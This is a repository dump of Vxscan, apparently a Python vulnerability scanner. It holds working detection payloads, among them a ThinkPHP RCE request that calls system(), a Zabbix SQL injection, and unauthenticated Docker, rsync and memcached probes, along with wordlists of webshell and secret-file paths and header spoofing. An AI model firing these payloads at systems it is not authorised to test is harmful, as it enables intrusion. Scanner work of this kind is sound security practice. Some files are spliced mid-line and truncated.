├── doc
├── logo.jpg
├── logo1.jpg
└── logo2.jpg
├── data
├── GeoLite2-ASN.mmdb
├── path
│ ├── txt.txt
│ ├── dir.txt
│ ├── jsp.txt
│ ├── asp.txt
│ ├── other.txt
│ └── php.txt
└── password.txt
├── report
├── fonts
│ ├── element-icons.ttf
│ └── element-icons.woff
├── en.js
└── report.htm
├── .gitattributes
├── requirements.txt
├── lib
├── bcolors.py
├── random_header.py
├── common.py
├── web_info.py
├── settings.py
├── cli_output.py
├── vuln.py
├── options.py
├── url.py
├── Requests.py
├── verify.py
├── waf.py
├── sqldb.py
└── iscdn.py
├── script
├── ftp_anonymous.py
├── django_urljump.py
├── pulse_cve_2019_11510.py
├── zookeeper_unauthorized_access.py
├── thinkphp5_rce_1.py
├── mongodb_unauthorized_access.py
├── redis_unauthorized_access.py
├── memcached_unauthorized_access.py
├── docker_unauthorized_access.py
├── jboss_jmx_console.py
├── http_put.py
├── thinkphp_5_0_23_rce.py
├── solr_unauthorized_access.py
├── phpinfo.py
├── rsync_unauthorized_access.py
├── fingerprint.py
├── get_title.py
├── zabbix_jsrpc_sqli.py
├── leaks.py
├── find_admin.py
├── solr_rce_via_velocity.py
├── Weblogic_CVE_2017_10271_RCE.py
└── apache_struts_all.py
├── plugins
├── ActiveReconnaissance
│ ├── robots.py
│ ├── osdetect.py
│ ├── check_waf.py
│ ├── active.py
│ └── crawl.py
├── PassiveReconnaissance
│ ├── ip_history.py
│ ├── virustotal.py
│ ├── reverse_domain.py
│ └── wappalyzer.py
├── InformationGathering
│ ├── geoip.py
│ └── js_leaks.py
└── Scanning
│ ├── dir_scan.py
│ └── async_scan.py
├── Vxscan.py
├── .gitignore
├── .travis.yml
├── analyzer.py
├── README.zh-CN.md
├── LICENSE
└── report.py
/doc/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/al0ne/Vxscan/HEAD/doc/logo.jpg
--------------------------------------------------------------------------------
/doc/logo1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/al0ne/Vxscan/HEAD/doc/logo1.jpg
--------------------------------------------------------------------------------
/doc/logo2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/al0ne/Vxscan/HEAD/doc/logo2.jpg
--------------------------------------------------------------------------------
/data/GeoLite2-ASN.mmdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/al0ne/Vxscan/HEAD/data/GeoLite2-ASN.mmdb
--------------------------------------------------------------------------------
/report/fonts/element-icons.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/al0ne/Vxscan/HEAD/report/fonts/element-icons.ttf
--------------------------------------------------------------------------------
/report/fonts/element-icons.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/al0ne/Vxscan/HEAD/report/fonts/element-icons.woff
--------------------------------------------------------------------------------
/.gitattributes:
--------------------------------------------------------------------------------
1 | *.js linguist-language=python;
2 | *.css linguist-language=python;
3 | *.html linguist-language=python
4 |
--------------------------------------------------------------------------------
/data/path/txt.txt:
--------------------------------------------------------------------------------
1 | /robots.txt
2 | /test2.txt
3 | /debug.txt
4 | /changelog.txt
5 | /readMe.txt
6 | /auth.txt
7 | /用户说明.txt
8 | /安装手册.txt
9 | /ftp.txt
10 | /ver.txt
11 | /install.txt
12 | /output.txt
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
2 | pyfiglet
3 | fake-useragent
4 | beautifulsoup4
5 | geoip2
6 | python-nmap
7 | tldextract
8 | lxml
9 | pymongo
10 | virustotal_python
11 | dnspython
12 | pysocks
13 | asyncio
14 | aiohttp
15 | chardet
16 | uvloop
17 | urllib3
18 | pyOpenSSL
--------------------------------------------------------------------------------
/lib/bcolors.py:
--------------------------------------------------------------------------------
1 | class Bcolors:
2 | HEADER = '\033[95m'
3 | OKBLUE = '\033[94m'
4 | OKGREEN = '\033[92m'
5 | WARNING = '\033[93m'
6 | FAIL = '\033[91m'
7 | RED = '\033[31m'
8 | ENDC = '\033[0m'
9 | BOLD = '\033[1m'
10 | UNDERLINE = '\033[4m'
11 |
--------------------------------------------------------------------------------
/script/ftp_anonymous.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import ftplib
3 |
4 | from lib.verify import verify
5 |
6 | vuln = ['FTP', '21']
7 |
8 |
9 | def check(url, ip, ports, apps):
10 | if verify(vuln, ports, apps):
11 | try:
12 | ftp = ftplib.FTP(ip)
13 | ftp.login('anonymous', 'anonymous')
14 | return 'FTP anonymous Login'
15 | except Exception as e:
16 | pass
17 |
--------------------------------------------------------------------------------
/script/django_urljump.py:
--------------------------------------------------------------------------------
1 | from lib.Requests import Requests
2 | from lib.verify import verify
3 |
4 | vuln = ['Django']
5 |
6 |
7 | def check(url, ip, ports, apps):
8 | req = Requests()
9 | if verify(vuln, ports, apps):
10 | payload = "//www.example.com"
11 | try:
12 | r = req.get(url + payload)
13 | if r.is_redirect and 'www.example.com' in r.headers.get('Location'):
14 | return 'Django < 2.0.8 任意URL跳转漏洞'
15 | except Exception as e:
16 | pass
17 |
--------------------------------------------------------------------------------
/plugins/ActiveReconnaissance/robots.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | import logging
3 | import re
4 |
5 | from lib.Requests import Requests
6 |
7 |
8 | def robots(url):
9 | result = ''
10 | try:
11 | req = Requests()
12 | r = req.get(url + '/robots.txt')
13 | if r.status_code == 200 and '
)\d+\.\d+\.\d+\.\d+(?= | )', r.text, re.S | re.I)
15 | if result:
16 | for i in result:
17 | if iscdn(i):
18 | out.append(i)
19 | except Exception:
20 | pass
21 |
22 | return out
23 |
--------------------------------------------------------------------------------
/data/path/dir.txt:
--------------------------------------------------------------------------------
1 | /login/
2 | /pma/
3 | /pmd/
4 | /admin/
5 | /Admin/
6 | /manager/
7 | /solr/
8 | /examples/
9 | /cacti/
10 | /ckeditor/samples/
11 | /WEB-INF/classes/
12 | /WEB-INF/lib/
13 | /WEB-INF/src/
14 | /zabbix/
15 | /editor/ckeditor/samples/
16 | /resin-admin/
17 | /ganglia/
18 | /server-info/
19 | /xampp/
20 | /nginx_status
21 | /phpMyAdmin
22 | /SiteServer
23 | /manage/
24 | /system/
25 | /uc_server
26 | /debug
27 | /Conf
28 | /webmail
29 | /service
30 | /memadmin
31 | /owa
32 | /harbor
33 | /master
34 | /root
35 | /zabbix
36 | /api
37 | /backup
38 | /inc
39 | /id_rsa
40 | /script
41 | /id_dsa
42 | /readme
43 | /key
44 | /configprops
45 | /keys
46 | /exit
47 | /core
48 | /Templates
49 | /ews
50 | /nagios
51 | /adminmanager
52 | /manager
--------------------------------------------------------------------------------
/script/memcached_unauthorized_access.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | from lib.verify import verify
4 |
5 | vuln = ['Memcached', '11211']
6 |
7 |
8 | def check(url, ip, ports, apps):
9 | if verify(vuln, ports, apps):
10 | socket.setdefaulttimeout(2)
11 | port = 11211
12 | payload = b'\x73\x74\x61\x74\x73\x0a' # command:stats
13 | s = socket.socket()
14 | socket.setdefaulttimeout(5)
15 | try:
16 | s.connect((ip, port))
17 | s.send(payload)
18 | recvdata = s.recv(2048) # response larger than 1024
19 | s.close()
20 | if recvdata and (b'STAT version' in recvdata):
21 | return '11211 Memcache Unauthorized Access'
22 | except Exception as e:
23 | print(e)
24 |
--------------------------------------------------------------------------------
/script/docker_unauthorized_access.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | from lib.verify import verify
4 |
5 | vuln = ['docker', '2375']
6 |
7 |
8 | def check(url, ip, ports, apps):
9 | socket.setdefaulttimeout(2)
10 | if verify(vuln, ports, apps):
11 | try:
12 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13 | s.connect((ip, 2375))
14 | payload = "GET /containers/json HTTP/1.1\r\nHost: %s:%s\r\n\r\n" % (ip, 2375)
15 | s.send(payload.encode())
16 | recv = s.recv(1024)
17 | if b"HTTP/1.1 200 OK" in recv and b'Docker' in recv and b'Api-Version' in recv:
18 | return '2375 Docker unauthorized success'
19 | except Exception as e:
20 | # return '2375 Docker Failed'
21 | pass
22 |
--------------------------------------------------------------------------------
/script/jboss_jmx_console.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | # author: al0ne
3 | # https://github.com/al0ne
4 |
5 | import re
6 |
7 | from lib.Requests import Requests
8 | from lib.verify import get_list
9 |
10 | req = Requests()
11 |
12 |
13 | def get_title(url):
14 | try:
15 | payload = '/jmx-console/'
16 | r = req.get(url + payload)
17 | if "jboss" in r.text:
18 | return 'Jboss console/ page: ' + url + payload
19 | except Exception:
20 | pass
21 |
22 |
23 | def check(url, ip, ports, apps):
24 | result = []
25 | probe = get_list(url, ports)
26 | for i in probe:
27 | if re.search(r':\d+', i):
28 | out = get_title(i)
29 | if out:
30 | result.append(out)
31 | if result:
32 | return result
33 |
--------------------------------------------------------------------------------
/Vxscan.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 |
3 | # author: al0ne
4 | # https://github.com/al0ne
5 |
6 | import logging
7 | import os
8 | import sys
9 |
10 | from lib.cli_output import banner
11 | from lib.options import options
12 |
13 | if os.path.exists('error.log'):
14 | os.remove('error.log')
15 |
16 | if sys.version_info.major < 3 or sys.version_info.minor < 6:
17 | sys.stdout.write("Sorry, Vxscan requires Python 3.6/3.7/3.8 \n")
18 | sys.exit(1)
19 |
20 |
21 | if __name__ == "__main__":
22 |
23 | logging.basicConfig(filename='error.log', level=logging.ERROR)
24 | logging.getLogger()
25 |
26 | try:
27 | banner()
28 | options()
29 | except KeyboardInterrupt:
30 | print('\nCtrl+C Stop running\n')
31 | sys.exit(0)
32 | except Exception as e:
33 | logging.exception(e)
34 |
--------------------------------------------------------------------------------
/script/http_put.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import random
3 | from lib.random_header import get_ua
4 | from lib.verify import get_list
5 |
6 |
7 | def put(url):
8 | url = url.strip('/')
9 | text = random.randint(100000000, 200000000)
10 | payload = '/{}.txt'.format(text)
11 | url = url + payload
12 | data = {'{}'.format(text): '{}'.format(text)}
13 | r = requests.put(url, data=data, allow_redirects=False, verify=False, headers=get_ua())
14 | if r.status_code == 201:
15 | return 'HTTP METHOD PUT url: {}'.format(url)
16 |
17 |
18 | def check(url, ip, ports, apps):
19 | result = ''
20 | try:
21 | probe = get_list(ip, ports)
22 | for url in probe:
23 | result = put(url)
24 | except Exception as e:
25 | pass
26 | if result:
27 | return result
28 |
--------------------------------------------------------------------------------
/script/thinkphp_5_0_23_rce.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | import random
3 |
4 | from lib.Requests import Requests
5 | from lib.verify import verify
6 |
7 | vuln = ['ThinkPHP', 'ThinkSNS']
8 | random_num = ''.join(str(i) for i in random.sample(range(0, 9), 8))
9 |
10 |
11 | def check(url, ip, ports, apps):
12 | req = Requests()
13 | if verify(vuln, ports, apps):
14 | payload = r'_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "{}"'.format(random_num)
15 | try:
16 | headers = {'Content-Type': 'application/x-www-form-urlencoded'}
17 | r = req.request(url + '/index.php?s=captcha', 'post', data=payload, headers=headers)
18 | if random_num in r.text:
19 | return 'thinkphp_5_0_23_rce | ' + url
20 | except Exception as e:
21 | pass
22 |
--------------------------------------------------------------------------------
/script/solr_unauthorized_access.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | from lib.Requests import Requests
4 | from lib.verify import get_list
5 |
6 |
7 | def get_info(url):
8 | try:
9 | req = Requests()
10 | url = url + '/solr/'
11 | r = req.get(url)
12 | if r.status_code is 200 and 'Solr Admin' in r.text and 'Dashboard' in r.text:
13 | return 'Apache Solr Admin leask: ' + url
14 | except Exception:
15 | pass
16 |
17 |
18 | def check(url, ip, ports, apps):
19 | result = []
20 | try:
21 | probe = get_list(url, ports)
22 | for i in probe:
23 | if re.search(r':\d+', i):
24 | out = get_info(i)
25 | if out:
26 | result.append(out)
27 | if result:
28 | return result
29 | except Exception:
30 | pass
31 |
--------------------------------------------------------------------------------
/script/phpinfo.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | # author: al0ne
3 | # https://github.com/al0ne
4 |
5 | import re
6 |
7 | from lib.Requests import Requests
8 | from lib.verify import get_list
9 |
10 | path = ['/1.php', '/p.php', '/phpinfo.php', '/info.php', '/i.php', '/test.php', '/a.php', '/?phpinfo=1', '/111.php']
11 |
12 |
13 | def get_info(url):
14 | try:
15 | req = Requests()
16 | for i in path:
17 | r = req.get(url + i)
18 | if r.status_code == 200:
19 | if 'phpinfo()' in r.text or 'php_version' in r.text:
20 | return 'phpinfo leaks: ' + url + i
21 | except:
22 | pass
23 |
24 |
25 | def check(url, ip, ports, apps):
26 | result = []
27 | probe = get_list(url, ports)
28 | for i in probe:
29 | if re.search(r':\d+', i):
30 | out = get_info(i)
31 | if out:
32 | result.append(out)
33 | if result:
34 | return result
35 |
--------------------------------------------------------------------------------
/script/rsync_unauthorized_access.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | from lib.verify import verify
4 |
5 | timeout = 3
6 |
7 | vuln = ['rsync', '873']
8 |
9 |
10 | def check(url, ip, ports, apps):
11 | if verify(vuln, ports, apps):
12 | try:
13 | socket.setdefaulttimeout(1.5)
14 | payload = b"\x40\x52\x53\x59\x4e\x43\x44\x3a\x20\x33\x31\x2e\x30\x0a"
15 | socket.setdefaulttimeout(timeout)
16 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
17 | server_address = (ip, 873)
18 | sock.connect(server_address)
19 | sock.sendall(payload)
20 | initinfo = sock.recv(400)
21 | if b"RSYNCD" in initinfo:
22 | sock.sendall(b"\x0a")
23 | modulelist = sock.recv(200)
24 | sock.close()
25 | if len(modulelist) > 0:
26 | return '873 Rsync Unauthorized Access'
27 | except Exception as e:
28 | pass
29 |
--------------------------------------------------------------------------------
/lib/random_header.py:
--------------------------------------------------------------------------------
1 | # author: al0ne
2 | # https://github.com/al0ne
3 |
4 | import random
5 | import socket
6 | import string
7 | import struct
8 |
9 | from fake_useragent import UserAgent
10 |
11 | HEADERS = {
12 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
13 | 'User-Agent': "",
14 | 'Referer': "",
15 | 'X-Forwarded-For': "",
16 | 'X-Real-IP': "",
17 | 'Connection': 'keep-alive',
18 | }
19 |
20 |
21 | def get_ua():
22 | ua = UserAgent()
23 | key = random.random() * 20
24 | referer = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(int(key))])
25 | referer = 'www.' + referer.lower() + '.com'
26 | ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
27 | HEADERS["User-Agent"] = ua.random
28 | HEADERS["Referer"] = referer
29 | HEADERS["X-Forwarded-For"] = HEADERS["X-Real-IP"] = ip
30 |
31 | return HEADERS
32 |
33 |
34 | if __name__ == "__main__":
35 | print(get_ua())
36 |
--------------------------------------------------------------------------------
/plugins/ActiveReconnaissance/osdetect.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | # author: al0ne
3 | # https://github.com/al0ne
4 |
5 | import logging
6 | import xml
7 |
8 | import nmap
9 |
10 | from lib.cli_output import console
11 |
12 |
13 | def osdetect(ip):
14 | # sys.stdout.write(Bcolors.RED + "\nOS:\n" + Bcolors.ENDC)
15 | nm = nmap.PortScanner()
16 | try:
17 | result = nm.scan(hosts=ip, arguments='-sS -O -vv -n -T4 -p 80,22,443')
18 | for k, v in result.get('scan').items():
19 | if v.get('osmatch'):
20 | for i in v.get('osmatch'):
21 | console('OSdetect', ip, i.get('name') + '\n')
22 | return i.get('name')
23 | else:
24 | break
25 | except (xml.etree.ElementTree.ParseError, nmap.nmap.PortScannerError):
26 | pass
27 | except Exception as e:
28 | console('OSdetect', ip, 'None\n')
29 | logging.exception(e)
30 |
31 |
32 | if __name__ == "__main__":
33 | os = osdetect('127.0.0.1')
34 |
--------------------------------------------------------------------------------
/script/fingerprint.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | # author: al0ne
3 | # https://github.com/al0ne
4 |
5 | import re
6 |
7 | import chardet
8 |
9 | from lib.Requests import Requests
10 | from lib.verify import get_list
11 | from plugins.PassiveReconnaissance.wappalyzer import WebPage
12 |
13 | req = Requests()
14 |
15 |
16 | def get_title(url):
17 | try:
18 | r = req.get(url)
19 | coding = chardet.detect(r.content).get('encoding')
20 | text = r.content[:10000].decode(coding)
21 | webinfo = WebPage(r.url, text, r.headers).info()
22 | if webinfo.get('apps'):
23 | return 'URL: ' + url + ' | Fingerprint: ' + ' , '.join(webinfo.get('apps'))
24 | except:
25 | pass
26 |
27 |
28 | def check(url, ip, ports, apps):
29 | result = []
30 | probe = get_list(url, ports)
31 | for i in probe:
32 | if re.search(r':\d+', i):
33 | out = get_title(i)
34 | if out:
35 | result.append(out)
36 | if result:
37 | return result
38 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 |
5 | test.py
6 |
7 | # C extensions
8 | *.so
9 | .vscode/
10 | # Distribution / packaging
11 | .Python
12 | env/
13 | build/
14 | develop-eggs/
15 | dist/
16 | downloads/
17 | eggs/
18 | .eggs/
19 | lib64/
20 | parts/
21 | sdist/
22 | var/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 | .idea/
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *,cover
47 |
48 | # Translations
49 | *.mo
50 | *.pot
51 |
52 | # Django stuff:
53 | *.log
54 |
55 | # Sphinx documentation
56 | docs/_build/
57 |
58 | # PyBuilder
59 | target/
60 | *.html
61 | Vxscan.zip
62 | db/GeoLite2-City.mmdb
63 |
64 | *.json
--------------------------------------------------------------------------------
/data/path/jsp.txt:
--------------------------------------------------------------------------------
1 | /SearchPublicRegistries.jsp
2 | /resin-doc/viewfile/?contextpath=/&servletpath=&file=index.jsp
3 | /jsp.jsp
4 | /wcm/app/login.jsp
5 | /console/login/LoginForm.jsp
6 | /vaf.jsp
7 | /158.jsp
8 | /123.jsp
9 | /111.jsp
10 | /shangji.jsp
11 | /text.jsp
12 | /fang.jsp
13 | /aurrs.jsp
14 | /k.jsp
15 | /ziyoubi.jsp
16 | /lcyx.jsp
17 | /weijishi.jsp
18 | /1.jsp
19 | /jumbo.jsp
20 | /test.jsp
21 | /1111.jsp
22 | /bak.jsp
23 | /is.test.jsp
24 | /a.jsp
25 | /tunnel.jsp
26 | /3.jsp
27 | /cqtest.jsp
28 | /zzzz.jsp
29 | /Jspspyweb.jsp
30 | /welcome.jsp
31 | /403.jsp
32 | /ma.jsp
33 | /index.jsp
34 | /kid.jsp
35 | /tt2.jsp
36 | /fuckfuck.jsp
37 | /index.jsp
38 | /job.jsp
39 | /c.jsp
40 | /conifgs.jsp
41 | /2.jsp
42 | /b001.jsp
43 | /jspspy.jsp
44 | /panel.jsp
45 | /dynamicattrs.jsp
46 | /hello.jsp
47 | /login.jsp
48 | /GSDLYT.jsp
49 | /bss.jsp
50 | /ck_gz.jsp
51 | /examples.jsp
52 | /include.jsp
53 | /lele.jsp
54 | /plugin.jsp
55 | /wlscmd.jsp
56 | /zzxas.jsp
57 | /loginUser.action
58 | /login.action
59 | /login.do
60 | /upload.do
61 | /admin.do
62 | /SearchServlet.do
63 | /autoFormController.do
64 | /bindUser.do
65 | /ddcx.do
--------------------------------------------------------------------------------
/script/get_title.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | # author: al0ne
3 | # https://github.com/al0ne
4 |
5 | import re
6 |
7 | import chardet
8 | from lxml import etree
9 |
10 | from lib.Requests import Requests
11 | from lib.verify import get_list
12 |
13 | req = Requests()
14 |
15 |
16 | def get_title(url):
17 | code = 0
18 |
19 | try:
20 | r = req.get(url)
21 | code = r.status_code
22 | coding = chardet.detect(r.content).get('encoding')
23 | text = r.content[:10000].decode(coding)
24 | html = etree.HTML(text)
25 | title = html.xpath('//title/text()')
26 | if title:
27 | return url + ' | ' + title[0]
28 | else:
29 | return url + ' | Status_code: ' + str(code)
30 | except:
31 | pass
32 |
33 | return url + ' | Status_code: ' + str(code)
34 |
35 |
36 | def check(url, ip, ports, apps):
37 | result = []
38 | probe = get_list(url, ports)
39 | for i in probe:
40 | if re.search(r':\d+', i):
41 | out = get_title(i)
42 | if out:
43 | result.append(out)
44 | if result:
45 | return result
46 |
--------------------------------------------------------------------------------
/script/zabbix_jsrpc_sqli.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | # project = https://github.com/Xyntax/POC-T
4 | # author = i@cdxy.me
5 | """
6 | ZABBIX jsrpc.php 参数profileIdx2 insert SQL注入漏洞
7 |
8 | zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞, 在开启guest的情况下,攻击者无需授权登陆即可登陆zabbix管理系统, 也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
9 |
10 | Usage:
11 | python POC-T.py -s zabbix-jsrpc-sqli -aZ "zabbix country:us"
12 |
13 | Version
14 | v2.2.x, 3.0.0-3.0.3
15 |
16 | """
17 | from lib.Requests import Requests
18 | from lib.verify import verify
19 |
20 | vuln = ['zabbix']
21 |
22 |
23 | def check(url, ip, ports, apps):
24 | req = Requests()
25 | if verify(vuln, ports, apps):
26 | payload = r"/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17"
27 | try:
28 | r = req.get(url + payload)
29 | if ('ed733b8d10be225eceba344d533586' in r.text) or ('SQL error ' in r.text):
30 | return 'CVE-2016-10134 zabbix sqli:' + url
31 | except Exception as e:
32 | pass
33 |
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | language: python
2 | script: true
3 |
4 | matrix:
5 | include:
6 | - name: "Python 3.6 on Linux"
7 | python: 3.6 # this works for Linux but is ignored on macOS or Windows
8 | - name: "Python 3.7 on Xenial Linux"
9 | python: 3.7 # this works for Linux but is ignored on macOS or Windows
10 | dist: xenial # required for Python >= 3.7
11 | - name: "Python 3.8 on Xenial Linux"
12 | python: 3.8-dev # this works for Linux but is ignored on macOS or Windows
13 | dist: xenial # required for Python >= 3.7
14 | - name: "Python 3.7 on macOS"
15 | os: osx
16 | osx_image: xcode10.2 # Python 3.7 running on macOS 10.14.3
17 | language: shell # 'language: python' is an error on Travis CI macOS
18 | - name: "Python 3.7 on Windows"
19 | os: windows # Windows 10.0.17134 N/A Build 17134
20 | language: shell
21 | before_install:
22 | - choco install python
23 | - python -m pip install --upgrade pip
24 | env: PATH=/c/Python37:/c/Python37/Scripts:$PATH
25 |
26 | install:
27 | - pip3 install -U pip
28 | - pip3 install codecov
29 | - pip3 install -r requirements.txt
30 |
--------------------------------------------------------------------------------
/plugins/InformationGathering/geoip.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | # author: al0ne
3 | # https://github.com/al0ne
4 |
5 | import logging
6 |
7 | import geoip2.database
8 | import geoip2.errors
9 |
10 | from lib.cli_output import console
11 |
12 |
13 | def geoip(ipaddr):
14 | # 获取IP地理位置
15 | try:
16 | reader = geoip2.database.Reader('data/GeoLite2-City.mmdb')
17 | response = reader.city(ipaddr)
18 | country = response.country.names["zh-CN"]
19 | site = response.subdivisions.most_specific.names.get("zh-CN")
20 | if not site:
21 | site = ''
22 | city = response.city.names.get("zh-CN")
23 | if not city:
24 | city = ''
25 | address = '{} {} {}'.format(country, site, city)
26 | except FileNotFoundError:
27 | address = 'Geoip File Not Found'
28 | except (KeyError, geoip2.errors.AddressNotFoundError):
29 | address = 'Address Not In Databases'
30 | except Exception as e:
31 | logging.exception(e)
32 | address = 'None'
33 | console('GeoIP', ipaddr, 'Address: {}\n'.format(address))
34 | console('GeoIP', ipaddr, 'Ipaddr: {}\n'.format(ipaddr))
35 | return address
36 |
37 |
38 | if __name__ == "__main__":
39 | geoip('1.1.1.1')
40 |
--------------------------------------------------------------------------------
/plugins/PassiveReconnaissance/virustotal.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | import re
3 |
4 | from virustotal_python import Virustotal
5 |
6 | from lib.cli_output import console
7 | from lib.iscdn import iscdn
8 | from lib.settings import VIRUSTOTAL_API
9 | from plugins.PassiveReconnaissance.ip_history import ipinfo
10 |
11 |
12 | def virustotal(host):
13 | # VT接口,主要用来查询PDNS,绕过CDN
14 | pdns = []
15 | history_ip = []
16 | if VIRUSTOTAL_API:
17 | # noinspection PyBroadException
18 | try:
19 | vtotal = Virustotal(VIRUSTOTAL_API)
20 | if re.search(r'\d+\.\d+\.\d+\.\d+', host):
21 | return None
22 | resp = vtotal.domain_report(host)
23 | if resp.get('status_code') != 403:
24 | for i in resp.get('json_resp').get('resolutions'):
25 | address = i.get('ip_address')
26 | timeout = i.get('last_resolved')
27 | if iscdn(address):
28 | history_ip.append(address + ' : ' + timeout)
29 | pdns = history_ip[10:]
30 | except Exception:
31 | pass
32 |
33 | pdns.extend(ipinfo(host))
34 |
35 | if pdns:
36 | for i in pdns[:10]:
37 | console('PDNS', host, i + '\n')
38 | else:
39 | console('PDNS', host, 'None\n')
40 | return pdns
41 |
--------------------------------------------------------------------------------
/script/leaks.py:
--------------------------------------------------------------------------------
1 | # coding=utf-8
2 | # author: al0ne
3 | # https://github.com/al0ne
4 |
5 | import re
6 | from lib.Requests import Requests
7 | from lib.verify import get_list
8 | from lib.settings import PAGE_404
9 |
10 | path = [
11 | '/.git/config', '/.svn/entries', '/.git/index', '/.git/HEAD', '/.ssh/known_hosts', '/.DS_Store', '/.hg',
12 | '/WEB-INF/web.xml', '/WEB-INF/database.properties', '/CVS/Entries', '/_cat/'
13 | ]
14 |
15 |
16 | def verify(text):
17 | result = True
18 | for i in PAGE_404:
19 | if i in text:
20 | result = False
21 | break
22 | return result
23 |
24 |
25 | def get_info(url):
26 | try:
27 | req = Requests()
28 | for i in path:
29 | r = req.get(url + i)
30 | if r.status_code == 200 and '| |